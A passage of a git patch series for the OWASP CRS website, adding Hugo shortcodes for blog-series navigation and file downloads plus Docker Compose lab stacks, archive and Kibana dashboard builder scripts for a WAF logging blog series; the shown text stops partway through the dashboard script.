From 8a4b150fc8d9206eb86d15ed109bd05518b5fcbd Mon Sep 17 00:00:00 2001 From: Felipe Zipitria Date: Fri, 23 Oct 2026 13:59:35 -0300 Subject: [PATCH 1/6] feat(layouts): add resources, series-nav and series-link shortcodes - resources: lists a page bundle's files as downloads, filtered by a regular expression, with sizes. Ported from the Hugo Relearn theme (MIT, attribution in the file) and simplified for this site. - series-nav: box listing every part of a blog series, driven by data/series/.yaml. Published parts are linked, unpublished ones (drafts, future dates) are shown as "coming soon". - series-link: inline link to another part of a series that falls back to plain text while the target is not published, so a series can be released one part at a time without broken links or ref errors. Co-Authored-By: Claude Opus 5.5 --- assets/scss/shortcodes/_resources.scss | 47 +++++++++++++++++ assets/scss/shortcodes/_series-nav.scss | 40 ++++++++++++++ assets/scss/styles.scss | 2 + data/series/crs-logging.yaml | 12 +++++ layouts/_shortcodes/resources.html | 69 +++++++++++++++++++++++++ layouts/_shortcodes/series-link.html | 29 +++++++++++ layouts/_shortcodes/series-nav.html | 33 ++++++++++++ 7 files changed, 232 insertions(+) create mode 100644 assets/scss/shortcodes/_resources.scss create mode 100644 assets/scss/shortcodes/_series-nav.scss create mode 100644 data/series/crs-logging.yaml create mode 100644 layouts/_shortcodes/resources.html create mode 100644 layouts/_shortcodes/series-link.html create mode 100644 layouts/_shortcodes/series-nav.html diff --git a/assets/scss/shortcodes/_resources.scss b/assets/scss/shortcodes/_resources.scss new file mode 100644 index 00000000..9024722c --- /dev/null +++ b/assets/scss/shortcodes/_resources.scss @@ -0,0 +1,47 @@ +/**/ +/* RESOURCES: list of downloadable page bundle files (layouts/_shortcodes/resources.html) */ +/**/ + +// `.content div` is full width in the theme; keep the box (a
when it +// is not collapsible) in the text column like everything else. +.content .resources, +.resources { + max-width: var(--content-width); + margin: 1.5rem 0; + padding: 0.75rem 1.25rem; + border-left: 4px solid var(--crs-blue); + border-radius: 4px; + background-color: var(--gray-200); + + &__title { + margin: 0 0 0.5rem; + font-weight: 700; + } + + summary.resources__title { + cursor: pointer; + } + + &:not([open]) > summary.resources__title { + margin-bottom: 0; + } + + &__list { + margin: 0; + padding-left: 1.25rem; + + li { + margin: 0.2rem 0; + } + + code { + overflow-wrap: anywhere; + } + } + + &__size { + color: var(--gray-700); + font-size: 0.9em; + white-space: nowrap; + } +} diff --git a/assets/scss/shortcodes/_series-nav.scss b/assets/scss/shortcodes/_series-nav.scss new file mode 100644 index 00000000..a94128ad --- /dev/null +++ b/assets/scss/shortcodes/_series-nav.scss @@ -0,0 +1,40 @@ +/**/ +/* SERIES NAV: list of the parts of a blog series (layouts/_shortcodes/series-nav.html) */ +/**/ + +.content .series-nav, +.series-nav { + max-width: var(--content-width); + margin: 1.5rem 0; + padding: 0.75rem 1.25rem; + border-left: 4px solid var(--crs-blue-dark); + border-radius: 4px; + background-color: var(--gray-200); + + &__title { + margin: 0 0 0.5rem; + font-weight: 700; + } + + &__list { + margin: 0; + padding-left: 1.5rem; + } + + &__item { + margin: 0.2rem 0; + + &--current { + font-weight: 700; + } + + &--soon { + color: var(--gray-700); + } + } + + &__soon { + font-size: 0.9em; + font-style: italic; + } +} diff --git a/assets/scss/styles.scss b/assets/scss/styles.scss index 807c7865..065d0a07 100644 --- a/assets/scss/styles.scss +++ b/assets/scss/styles.scss @@ -25,6 +25,8 @@ @use "shortcodes/toc"; @use "shortcodes/intro"; @use "shortcodes/youtube-enhanced"; +@use "shortcodes/resources"; +@use "shortcodes/series-nav"; @use "sponsors"; @use "home"; @use "highlight"; diff --git a/data/series/crs-logging.yaml b/data/series/crs-logging.yaml new file mode 100644 index 00000000..e8697952 --- /dev/null +++ b/data/series/crs-logging.yaml @@ -0,0 +1,12 @@ +# The "Logging with OWASP CRS" blog series, in reading order. +# Used by the series-nav and series-link shortcodes. A part whose page is +# not in the build (a draft, or dated in the future) is shown as +# "coming soon" instead of a link, so parts can be published one by one. +title: "Logging with OWASP CRS" +parts: + - page: /blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you + title: "Part 1: What Your WAF Is Telling You" + - page: /blog/2026-11-10-crs-logging-part-2-elastic-stack + title: "Part 2: A CRS Dashboard on the Elastic Stack" + - page: /blog/2026-11-17-crs-logging-part-3-grafana-loki + title: "Part 3: Coraza Logs on Grafana and Loki" diff --git a/layouts/_shortcodes/resources.html b/layouts/_shortcodes/resources.html new file mode 100644 index 00000000..7acba872 --- /dev/null +++ b/layouts/_shortcodes/resources.html @@ -0,0 +1,69 @@ +{{- /* + resources: list the resources of the current page bundle as downloads. + + Ported from the `resources` shortcode of the Hugo Relearn theme + (https://mcshelby.github.io/hugo-theme-relearn/shortcodes/resources/), + Copyright (c) 2021 Sören Weber, MIT License. Simplified for this site: + no callout/icon system, styles in assets/scss/shortcodes/_resources.scss. + + Parameters (all optional): + title heading of the box (default "Files") + pattern regular expression matched against the resource name, which + is the path inside the bundle, e.g. "^elk/" (default: all) + sort "asc" or "desc", by name (default "asc") + expanded "true": collapsible box, initially open + "false": collapsible box, initially closed + unset: plain box, not collapsible + + Usage: + {{< resources title="Elastic Stack files" pattern="^elk/" >}} +*/ -}} +{{- $page := .Page }} +{{- $title := .Get "title" | default "Files" }} +{{- $pattern := .Get "pattern" | default "" }} +{{- $sort := .Get "sort" | default "asc" }} +{{- $expanded := .Get "expanded" | default "" }} +{{- $collapsible := ne (printf "%v" $expanded) "" }} +{{- $open := eq (printf "%v" $expanded) "true" }} + +{{- if eq $page.BundleType "" }} + {{- warnf "%q: the 'resources' shortcode only works in a page bundle (a folder with an index.md)" $page.File.Filename }} +{{- end }} + +{{- $items := slice }} +{{- range sort $page.Resources "Name" $sort }} + {{- if and (findRE $pattern .Name) (ne .ResourceType "page") }} + {{- $items = $items | append . }} + {{- end }} +{{- end }} + +{{- /* a box without any resource to list is not shown at all */}} +{{- with $items }} +{{- $list := partial "inline/resources-list" . }} +{{- if $collapsible }} +
+ {{ $title }} + {{ $list }} +
+{{- else }} +
+

{{ $title }}

+ {{ $list }} +
+{{- end }} +{{- end }} + +{{- define "_partials/inline/resources-list" }} +
    + {{- range . }} + {{- $size := len .Content }} + {{- $human := printf "%d B" $size }} + {{- if ge $size 1048576 }} + {{- $human = printf "%.1f MB" (div (float $size) 1048576) }} + {{- else if ge $size 1024 }} + {{- $human = printf "%.1f KB" (div (float $size) 1024) }} + {{- end }} +
  • {{ .Name }} ({{ $human }})
  • + {{- end }} +
+{{- end }} diff --git a/layouts/_shortcodes/series-link.html b/layouts/_shortcodes/series-link.html new file mode 100644 index 00000000..605a20ed --- /dev/null +++ b/layouts/_shortcodes/series-link.html @@ -0,0 +1,29 @@ +{{- /* + series-link: link to another part of a blog series, but only if that + part is in the build. A draft or future-dated part renders as plain text, + so a published post never links to a page that does not exist yet, and + the link appears by itself once the target part is published. + + Parameters: + part 1-based number of the part in data/series/.yaml (required) + series name of the data file (default: the page's `series` front matter) + + Usage: + {{< series-link part="2" >}}Part 2{{< /series-link >}} +*/ -}} +{{- $series := .Get "series" | default .Page.Params.series }} +{{- $data := index site.Data.series $series }} +{{- if not $data }} + {{- errorf "%q: series-link: unknown series %q (no data/series/%s.yaml)" .Page.File.Filename $series $series }} +{{- end }} +{{- $n := int (.Get "part") }} +{{- if or (lt $n 1) (gt $n (len $data.parts)) }} + {{- errorf "%q: series-link: part %d is not in series %q" .Page.File.Filename $n $series }} +{{- end }} +{{- $entry := index $data.parts (sub $n 1) }} +{{- $text := .Inner | .Page.RenderString }} +{{- with site.GetPage $entry.page -}} +{{ $text }} +{{- else -}} +{{ $text }} +{{- end -}} diff --git a/layouts/_shortcodes/series-nav.html b/layouts/_shortcodes/series-nav.html new file mode 100644 index 00000000..7eeedc66 --- /dev/null +++ b/layouts/_shortcodes/series-nav.html @@ -0,0 +1,33 @@ +{{- /* + series-nav: box listing every part of a blog series. Parts that are in + the build are linked, the current one is highlighted, and parts that are + not published yet (drafts, future dates) are listed as "coming soon". + + Parameters: + series name of the data file in data/series/ (default: the page's + `series` front matter) + + Usage: + {{< series-nav >}} +*/ -}} +{{- $series := .Get "series" | default .Page.Params.series }} +{{- $data := index site.Data.series $series }} +{{- if not $data }} + {{- errorf "%q: series-nav: unknown series %q (no data/series/%s.yaml)" .Page.File.Filename $series $series }} +{{- end }} +{{- $current := .Page }} + From 0c090a463f72ddd8c921c07a1291a0f6d766379f Mon Sep 17 00:00:00 2001 From: Felipe Zipitria Date: Fri, 23 Oct 2026 13:59:35 -0300 Subject: [PATCH 2/6] feat(examples): add companion stacks for the CRS logging series Runnable Docker Compose labs for the "Logging with OWASP CRS" posts: - elk/: ModSecurity v3 on NGINX (owasp/modsecurity-crs) with Logstash, Elasticsearch and Kibana, a Ruby filter that flattens the JSON audit log, an index template and a generated Kibana dashboard. - grafana-loki/: Coraza on Caddy (coraza-crs) with Grafana Alloy, Loki and a provisioned Grafana dashboard, plus a Caddyfile and an audit relevance rule for Coraza's RelevantOnly behaviour. - waf/: a phase 5 anomaly score summary rule (CRS's own 980170 is never logged on ModSecurity v3) and an http-level realip snippet. - generate-traffic.sh: legitimate and malicious requests to fill the dashboards. build-archives.py: builds the per-post zip downloads. Co-Authored-By: Claude Opus 5.5 --- examples/crs-logging/README.md | 110 ++ examples/crs-logging/build-archives.py | 126 ++ examples/crs-logging/elk/compose.yaml | 133 ++ .../crs-logging/elk/kibana/build-dashboard.py | 491 +++++++ .../elk/kibana/crs-dashboard.ndjson | 3 + .../elk/logstash/pipeline/modsec-audit.conf | 55 + .../elk/logstash/scripts/modsec_flatten.rb | 163 +++ .../elk/logstash/templates/modsec-audit.json | 150 +++ examples/crs-logging/generate-traffic.sh | 106 ++ .../grafana-loki/alloy/config.alloy | 233 ++++ .../crs-logging/grafana-loki/compose.yaml | 103 ++ .../crs-logging/grafana-loki/coraza/Caddyfile | 52 + .../grafana-loki/coraza/audit-relevant.conf | 26 + .../grafana/dashboards/crs-overview.json | 1132 +++++++++++++++++ .../grafana/provisioning/dashboards/crs.yaml | 11 + .../provisioning/datasources/loki.yaml | 10 + .../grafana-loki/loki/loki-config.yaml | 52 + ...ESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf | 29 + examples/crs-logging/waf/nginx-realip.conf | 23 + 19 files changed, 3008 insertions(+) create mode 100644 examples/crs-logging/README.md create mode 100755 examples/crs-logging/build-archives.py create mode 100644 examples/crs-logging/elk/compose.yaml create mode 100644 examples/crs-logging/elk/kibana/build-dashboard.py create mode 100644 examples/crs-logging/elk/kibana/crs-dashboard.ndjson create mode 100644 examples/crs-logging/elk/logstash/pipeline/modsec-audit.conf create mode 100644 examples/crs-logging/elk/logstash/scripts/modsec_flatten.rb create mode 100644 examples/crs-logging/elk/logstash/templates/modsec-audit.json create mode 100755 examples/crs-logging/generate-traffic.sh create mode 100644 examples/crs-logging/grafana-loki/alloy/config.alloy create mode 100644 examples/crs-logging/grafana-loki/compose.yaml create mode 100644 examples/crs-logging/grafana-loki/coraza/Caddyfile create mode 100644 examples/crs-logging/grafana-loki/coraza/audit-relevant.conf create mode 100644 examples/crs-logging/grafana-loki/grafana/dashboards/crs-overview.json create mode 100644 examples/crs-logging/grafana-loki/grafana/provisioning/dashboards/crs.yaml create mode 100644 examples/crs-logging/grafana-loki/grafana/provisioning/datasources/loki.yaml create mode 100644 examples/crs-logging/grafana-loki/loki/loki-config.yaml create mode 100644 examples/crs-logging/waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf create mode 100644 examples/crs-logging/waf/nginx-realip.conf diff --git a/examples/crs-logging/README.md b/examples/crs-logging/README.md new file mode 100644 index 00000000..a3bc40fe --- /dev/null +++ b/examples/crs-logging/README.md @@ -0,0 +1,110 @@ +# OWASP CRS logging series: companion stacks + +Everything referenced by the "Logging with OWASP CRS" blog series on +[coreruleset.org](https://coreruleset.org/blog/): + +| Part | What it is | Files | +|------|------------|-------| +| 1 | What CRS logs, what to look for, and what to add | `waf/` | +| 2 | ModSecurity + CRS logs in the Elastic Stack (Logstash, Elasticsearch, Kibana) | `elk/` | +| 3 | Coraza + CRS logs in Grafana + Loki (shipped with Grafana Alloy) | `grafana-loki/` | + +Both stacks run CRS 4.30.0 from the CRS project's own images, in front of a +tiny echo backend, blocking at paranoia level 1 and logging at paranoia +level 2. The engine differs: + +- `elk/` runs ModSecurity v3 on NGINX (`owasp/modsecurity-crs`). +- `grafana-loki/` runs Coraza on Caddy (`ghcr.io/coreruleset/coraza-crs`). + +## Quick start + +Each blog post has a zip with the files it uses, which unpacks to a +`crs-logging/` folder with the layout shown below. Run everything from +that folder (or from this directory, if you are in the repository): + +```bash +# Pick one: +cd elk # ModSecurity + Elastic Stack, needs ~4 GB RAM +cd grafana-loki # Coraza + Grafana + Loki, needs ~1 GB RAM + +docker compose up -d +../generate-traffic.sh 300 +``` + +Then open the dashboard: + +- Elastic Stack: (dashboard "OWASP CRS - ModSecurity overview") +- Grafana: + +The WAF itself listens on (set `WAF_PORT` to change +it, for example if you want both stacks running at the same time). + +Every port is published on `127.0.0.1` only. To open the dashboards from +another machine, for example over Tailscale or your LAN, set `BIND_ADDR` to +that interface's address and point the traffic generator at it: + +```bash +BIND_ADDR=100.64.0.10 docker compose up -d +TARGET=http://100.64.0.10:8080 ../generate-traffic.sh 300 +``` + +To start over with empty logs and an empty log store: + +```bash +docker compose down -v +``` + +## Layout + +``` +crs-logging/ +├── build-archives.py # builds the per-post zip downloads +├── generate-traffic.sh # mix of legitimate and malicious requests +├── waf/ +│ ├── RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf # phase 5 score summary rule (both engines) +│ └── nginx-realip.conf # client address from X-Forwarded-For (NGINX) +├── elk/ +│ ├── compose.yaml +│ ├── logstash/ +│ │ ├── pipeline/modsec-audit.conf # file input -> flatten -> Elasticsearch +│ │ ├── scripts/modsec_flatten.rb # the flattening logic +│ │ └── templates/modsec-audit.json # index template (field types) +│ └── kibana/ +│ ├── crs-dashboard.ndjson # data view + Discover session + dashboard +│ └── build-dashboard.py # regenerates the file above +└── grafana-loki/ + ├── compose.yaml + ├── coraza/ + │ ├── Caddyfile # log to a file, trust X-Forwarded-For + │ └── audit-relevant.conf # audit log every transaction that scored + ├── loki/loki-config.yaml + ├── alloy/config.alloy # tails the logs, parses, pushes to Loki + └── grafana/ + ├── provisioning/ # Loki data source + dashboard provider + └── dashboards/crs-overview.json +``` + +## Notes + +- These are labs. Authentication is disabled on Kibana, Elasticsearch and + Grafana, Elasticsearch ignores the disk watermark and Loki runs without a + write-ahead log. Only bind them to an address you trust, and do not copy + those settings into production. +- The traffic generator sends textbook payloads; it is not a scanner and + does not try to evade anything. Every request is sent with a fake + `X-Forwarded-For`, which the stacks trust from private address ranges + (`waf/nginx-realip.conf`), so the "top clients" panels have something to + show. It runs on bash 3.2 or later, so the macOS default works. +- Tested with the image tags pinned in the compose files. Newer tags should + work; if Kibana refuses the dashboard import after an upgrade, update the + migration versions at the end of `elk/kibana/build-dashboard.py` and + regenerate the NDJSON file. +- The blog posts publish these files as page resources: `config/_default/hugo.yaml` + mounts parts of this directory into each post's page bundle, and the + `resources` shortcode lists them. If you move or rename files here, update + those mounts (and the shortcode patterns in the posts) to match. +- Each post also has a zip of its files, built by `build-archives.py` into + the post's page bundle. Hugo cannot create zips, so after changing any + file here, run `python3 examples/crs-logging/build-archives.py` from the + repository root and commit the result. CI fails the pull request if an + archive is out of date. diff --git a/examples/crs-logging/build-archives.py b/examples/crs-logging/build-archives.py new file mode 100755 index 00000000..2dcb10a4 --- /dev/null +++ b/examples/crs-logging/build-archives.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 +"""Build the downloadable zip archives for the CRS logging blog series. + +Each blog post gets one archive in its page bundle, with the example files +it needs in the same layout as this directory, under a top-level +`crs-logging/` folder: + + crs-logging/ + ├── README.md + ├── generate-traffic.sh + ├── waf/... + └── elk/... (or grafana-loki/...) + +so that `cd crs-logging/elk && docker compose up -d` works exactly as it +does in the repository (the compose files refer to ../waf/). + +Usage (from anywhere): + + python3 examples/crs-logging/build-archives.py # (re)build the archives + python3 examples/crs-logging/build-archives.py --check # exit 1 if any is out of date + +Run it after changing any file below and commit the archives. CI runs +--check on every pull request. The file lists mirror the module mounts in +config/_default/hugo.yaml; keep the two in sync. +""" + +import argparse +import fnmatch +import io +import sys +import zipfile +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parent.parent +BLOG = REPO / "content" / "blog" + +# Fixed metadata so that rebuilding unchanged files gives identical archives. +TIMESTAMP = (2026, 1, 1, 0, 0, 0) + +# post bundle -> (archive name, glob patterns relative to this directory) +ARCHIVES = { + "2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you": ( + "crs-logging-waf.zip", + ["README.md", "generate-traffic.sh", "waf/*"], + ), + "2026-11-10-crs-logging-part-2-elastic-stack": ( + "crs-logging-elk.zip", + ["README.md", "generate-traffic.sh", "waf/*", "elk/**"], + ), + "2026-11-17-crs-logging-part-3-grafana-loki": ( + "crs-logging-grafana-loki.zip", + ["README.md", "generate-traffic.sh", "waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf", "grafana-loki/**"], + ), +} + + +def collect(patterns): + """Files under HERE matching any pattern, as sorted relative paths.""" + files = set() + for path in HERE.rglob("*"): + if not path.is_file(): + continue + rel = path.relative_to(HERE).as_posix() + if rel.startswith(".") or "/." in rel or rel.endswith(".pyc"): + continue + for pattern in patterns: + # "dir/**" matches everything below dir, "dir/*" only direct children + if pattern.endswith("/**"): + if rel.startswith(pattern[:-2]): + files.add(rel) + elif fnmatch.fnmatchcase(rel, pattern) and rel.count("/") == pattern.count("/"): + files.add(rel) + return sorted(files) + + +def build(patterns): + """Return the archive as bytes.""" + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_DEFLATED) as zf: + for rel in collect(patterns): + src = HERE / rel + info = zipfile.ZipInfo(f"crs-logging/{rel}", date_time=TIMESTAMP) + mode = 0o755 if src.stat().st_mode & 0o111 else 0o644 + info.external_attr = (0o100000 | mode) << 16 # regular file + permissions + info.compress_type = zipfile.ZIP_DEFLATED + zf.writestr(info, src.read_bytes()) + return buf.getvalue() + + +def contents(data): + """Comparable view of an archive: name -> (mode, bytes).""" + with zipfile.ZipFile(io.BytesIO(data)) as zf: + return {i.filename: (i.external_attr >> 16, zf.read(i)) for i in zf.infolist()} + + +def main(): + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("--check", action="store_true", help="do not write, fail if an archive is out of date") + args = parser.parse_args() + + stale = [] + for bundle, (name, patterns) in ARCHIVES.items(): + target = BLOG / bundle / name + if not target.parent.is_dir(): + sys.exit(f"missing page bundle: {target.parent}") + data = build(patterns) + current = target.read_bytes() if target.exists() else None + up_to_date = current is not None and contents(current) == contents(data) + if args.check: + if not up_to_date: + stale.append(target.relative_to(REPO)) + continue + if not up_to_date: + target.write_bytes(data) + print(f"{'unchanged' if up_to_date else 'wrote':9} {target.relative_to(REPO)} ({len(contents(data))} files)") + + if stale: + print("Out of date, run python3 examples/crs-logging/build-archives.py:", file=sys.stderr) + for path in stale: + print(f" {path}", file=sys.stderr) + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/examples/crs-logging/elk/compose.yaml b/examples/crs-logging/elk/compose.yaml new file mode 100644 index 00000000..3439d7b9 --- /dev/null +++ b/examples/crs-logging/elk/compose.yaml @@ -0,0 +1,133 @@ +# OWASP CRS logging series, part 2: ModSecurity + CRS logs in the Elastic Stack +# +# docker compose up -d +# ../generate-traffic.sh 300 +# open http://localhost:5601/app/dashboards +# +# Requires roughly 4 GB of free memory. Security is disabled on +# Elasticsearch and Kibana on purpose: this is a lab, not a deployment. +# Every port is published on 127.0.0.1 only; set BIND_ADDR (for example to +# a Tailscale or LAN address) to reach the stack from another machine. + +name: crs-elk + +services: + # --------------------------------------------------------------------- + # The WAF: NGINX + ModSecurity v3 + OWASP CRS, from the official image. + # --------------------------------------------------------------------- + waf: + image: owasp/modsecurity-crs:4.30.0-nginx-alpine-202610180210 + ports: + - "${BIND_ADDR:-127.0.0.1}:${WAF_PORT:-8080}:8080" + environment: + BACKEND: http://backend:80 + PORT: "8080" + # Block at PL1, but evaluate (and log) the PL2 rules as well. + BLOCKING_PARANOIA: "1" + DETECTION_PARANOIA: "2" + # Audit log: one JSON document per relevant transaction, on a shared + # volume so that Logstash can tail it. + MODSEC_AUDIT_ENGINE: RelevantOnly + MODSEC_AUDIT_LOG_FORMAT: JSON + MODSEC_AUDIT_LOG_TYPE: Serial + MODSEC_AUDIT_LOG: /var/log/modsecurity/audit/modsec_audit.log + # Request headers and body, response headers, matched rules. No part E + # (response body): it is either the block page or the application's + # answer, which can contain personal data. + MODSEC_AUDIT_LOG_PARTS: ABIJFHZ + volumes: + - waf-logs:/var/log/modsecurity/audit + # Adds the per-transaction score summary rule (see ../waf/). + - ../waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf:/etc/modsecurity.d/owasp-crs/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf:ro + # Lets ModSecurity log the client address from X-Forwarded-For (see ../waf/). + - ../waf/nginx-realip.conf:/etc/nginx/conf.d/realip.conf:ro + depends_on: + - backend + + # A tiny backend that echoes the request it received. + backend: + image: traefik/whoami:v1.12.0 + + # --------------------------------------------------------------------- + # Elastic Stack + # --------------------------------------------------------------------- + elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:9.5.5 + environment: + discovery.type: single-node + cluster.name: crs-logging + xpack.security.enabled: "false" + xpack.ml.enabled: "false" + # Lab convenience: do not refuse to index when the host disk is + # nearly full. Never do this in production. + cluster.routing.allocation.disk.threshold_enabled: "false" + ES_JAVA_OPTS: -Xms1g -Xmx1g + ulimits: + memlock: + soft: -1 + hard: -1 + volumes: + - es-data:/usr/share/elasticsearch/data + ports: + - "${BIND_ADDR:-127.0.0.1}:9200:9200" + healthcheck: + test: ["CMD-SHELL", "curl -sf 'http://localhost:9200/_cluster/health?wait_for_status=yellow&timeout=5s' || exit 1"] + interval: 10s + timeout: 10s + retries: 30 + start_period: 30s + + kibana: + image: docker.elastic.co/kibana/kibana:9.5.5 + environment: + ELASTICSEARCH_HOSTS: http://elasticsearch:9200 + TELEMETRY_OPTIN: "false" + TELEMETRY_ENABLED: "false" + XPACK_SECURITY_SHOWINSECURECLUSTERWARNING: "false" + ports: + - "${BIND_ADDR:-127.0.0.1}:5601:5601" + depends_on: + elasticsearch: + condition: service_healthy + healthcheck: + test: ["CMD-SHELL", "curl -sf http://localhost:5601/api/status || exit 1"] + interval: 10s + timeout: 10s + retries: 60 + start_period: 30s + + logstash: + image: docker.elastic.co/logstash/logstash:9.5.5 + environment: + LS_JAVA_OPTS: -Xms512m -Xmx512m + XPACK_MONITORING_ENABLED: "false" + PIPELINE_ECS_COMPATIBILITY: disabled + CONFIG_RELOAD_AUTOMATIC: "true" + volumes: + - ./logstash/pipeline:/usr/share/logstash/pipeline:ro + - ./logstash/scripts:/usr/share/logstash/scripts:ro + - ./logstash/templates:/usr/share/logstash/templates:ro + - waf-logs:/var/log/modsecurity/audit:ro + - logstash-data:/usr/share/logstash/data + depends_on: + elasticsearch: + condition: service_healthy + + # One-shot job: imports the data view and the dashboard into Kibana. + kibana-setup: + image: curlimages/curl:8.23.0 + volumes: + - ./kibana:/kibana:ro + depends_on: + kibana: + condition: service_healthy + restart: "no" + command: > + sh -c 'curl -sf -X POST "http://kibana:5601/api/saved_objects/_import?overwrite=true" + -H "kbn-xsrf: true" --form file=@/kibana/crs-dashboard.ndjson + && echo && echo "Kibana dashboard imported: http://localhost:5601/app/dashboards"' + +volumes: + waf-logs: + es-data: + logstash-data: diff --git a/examples/crs-logging/elk/kibana/build-dashboard.py b/examples/crs-logging/elk/kibana/build-dashboard.py new file mode 100644 index 00000000..10bd3945 --- /dev/null +++ b/examples/crs-logging/elk/kibana/build-dashboard.py @@ -0,0 +1,491 @@ +#!/usr/bin/env python3 +"""Generate crs-dashboard.ndjson, the Kibana saved objects for the CRS +logging series. + +Kibana's Lens panels are stored as rather verbose JSON. Rather than +maintaining that by hand, this script builds the data view, a saved +Discover session and a dashboard with by-value Lens panels, and writes them +as an NDJSON file that can be imported with the Saved Objects API: + + curl -X POST "http://localhost:5601/api/saved_objects/_import?overwrite=true" \ + -H "kbn-xsrf: true" --form file=@crs-dashboard.ndjson + +The compose file runs that import for you (service `kibana-setup`). + +Run this script again if you change the panels: + + python3 build-dashboard.py > crs-dashboard.ndjson +""" + +import json +import sys + +DATA_VIEW_ID = "crs-modsec-audit" +SEARCH_ID = "crs-modsec-transactions" +DASHBOARD_ID = "crs-modsec-overview" +KIBANA_VERSION = "9.5.5" + +# --------------------------------------------------------------------------- +# Lens building blocks +# --------------------------------------------------------------------------- + + +def col_count(label="Transactions", filter_query=None): + col = { + "label": label, + "customLabel": True, + "dataType": "number", + "operationType": "count", + "isBucketed": False, + "scale": "ratio", + "sourceField": "___records___", + "params": {"emptyAsNull": True}, + } + if filter_query: + col["filter"] = {"query": filter_query, "language": "kuery"} + return col + + +def col_sum(field, label): + return { + "label": label, + "customLabel": True, + "dataType": "number", + "operationType": "sum", + "sourceField": field, + "isBucketed": False, + "scale": "ratio", + "params": {"emptyAsNull": True}, + } + + +def col_unique(field, label, data_type="string"): + return { + "label": label, + "customLabel": True, + "dataType": "number", + "operationType": "unique_count", + "sourceField": field, + "isBucketed": False, + "scale": "ratio", + "params": {"emptyAsNull": True}, + } + + +def col_max(field, label): + return { + "label": label, + "customLabel": True, + "dataType": "number", + "operationType": "max", + "sourceField": field, + "isBucketed": False, + "scale": "ratio", + "params": {"emptyAsNull": True}, + } + + +def col_terms(field, label, order_col, size=10, data_type="string"): + return { + "label": label, + "customLabel": True, + "dataType": data_type, + "operationType": "terms", + "scale": "ordinal", + "sourceField": field, + "isBucketed": True, + "params": { + "size": size, + "orderBy": {"type": "column", "columnId": order_col}, + "orderDirection": "desc", + "otherBucket": False, + "missingBucket": False, + "parentFormat": {"id": "terms"}, + "include": [], + "exclude": [], + "includeIsRegex": False, + "excludeIsRegex": False, + }, + } + + +def col_date_histogram(label="@timestamp"): + return { + "label": label, + "dataType": "date", + "operationType": "date_histogram", + "sourceField": "@timestamp", + "isBucketed": True, + "scale": "interval", + "params": {"interval": "auto", "includeEmptyRows": True, "dropPartials": False}, + } + + +def col_filters(label, filters): + return { + "label": label, + "customLabel": True, + "dataType": "string", + "operationType": "filters", + "scale": "ordinal", + "isBucketed": True, + "params": { + "filters": [ + {"input": {"query": q, "language": "kuery"}, "label": lbl} for lbl, q in filters + ] + }, + } + + +def lens_attributes(title, vis_type, layer_id, columns, visualization): + """A Lens saved object's `attributes`, used by value inside a dashboard.""" + return { + "title": title, + "visualizationType": vis_type, + "type": "lens", + "references": [ + { + "type": "index-pattern", + "id": DATA_VIEW_ID, + "name": f"indexpattern-datasource-layer-{layer_id}", + } + ], + "state": { + "visualization": visualization, + "query": {"query": "", "language": "kuery"}, + "filters": [], + "datasourceStates": { + "formBased": { + "layers": { + layer_id: { + "columns": columns, + "columnOrder": list(columns.keys()), + "incompleteColumns": {}, + "sampling": 1, + } + } + } + }, + "internalReferences": [], + "adHocDataViews": {}, + }, + } + + +# --------------------------------------------------------------------------- +# Panels +# --------------------------------------------------------------------------- + +panels = [] +references = [ + { + "name": f"{SEARCH_ID}:panel_{SEARCH_ID}", + "type": "search", + "id": SEARCH_ID, + } +] + + +def add_lens(panel_id, title, vis_type, columns, visualization, x, y, w, h): + layer_id = f"layer-{panel_id}" + panels.append( + { + "version": KIBANA_VERSION, + "type": "lens", + "gridData": {"x": x, "y": y, "w": w, "h": h, "i": panel_id}, + "panelIndex": panel_id, + "title": title, + "embeddableConfig": { + "attributes": lens_attributes(title, vis_type, layer_id, columns, visualization), + "enhancements": {}, + }, + } + ) + references.append( + { + "name": f"{panel_id}:indexpattern-datasource-layer-{layer_id}", + "type": "index-pattern", + "id": DATA_VIEW_ID, + } + ) + + +def metric(panel_id, title, column, x, y, w=12, h=6, color=None): + layer = f"layer-{panel_id}" + vis = {"layerId": layer, "layerType": "data", "metricAccessor": "m"} + if color: + vis["color"] = color + add_lens(panel_id, title, "lnsMetric", {"m": column}, vis, x, y, w, h) + # The metric already shows its label; a panel title on top would repeat it. + panels[-1]["embeddableConfig"]["hidePanelTitles"] = True + + +def pie(panel_id, title, group_col, x, y, w=16, h=12, size=8): + layer = f"layer-{panel_id}" + columns = {"g": group_col, "c": col_count()} + columns["g"]["params"]["size"] = size + vis = { + "shape": "donut", + "layers": [ + { + "layerId": layer, + "layerType": "data", + "primaryGroups": ["g"], + "metrics": ["c"], + "numberDisplay": "percent", + "categoryDisplay": "default", + "legendDisplay": "show", + "legendPosition": "right", + "nestedLegend": False, + } + ], + } + add_lens(panel_id, title, "lnsPie", columns, vis, x, y, w, h) + + +def table(panel_id, title, group_col, x, y, w=24, h=14, extra_metrics=None): + layer = f"layer-{panel_id}" + columns = {"g": group_col, "c": col_count()} + column_list = [{"columnId": "g"}, {"columnId": "c"}] + for cid, col in (extra_metrics or {}).items(): + columns[cid] = col + column_list.append({"columnId": cid}) + vis = { + "layerId": layer, + "layerType": "data", + "columns": column_list, + "sorting": {"columnId": "c", "direction": "desc"}, + "rowHeight": "single", + "headerRowHeight": "single", + } + add_lens(panel_id, title, "lnsDatatable", columns, vis, x, y, w, h) + + +def bars(panel_id, title, x_col, columns_extra, accessors, x, y, w, h, series="bar_stacked", split=None): + layer = f"layer-{panel_id}" + columns = {"x": x_col} + columns.update(columns_extra) + layer_def = { + "layerId": layer, + "layerType": "data", + "seriesType": series, + "accessors": accessors, + "xAccessor": "x", + "position": "top", + "showGridlines": 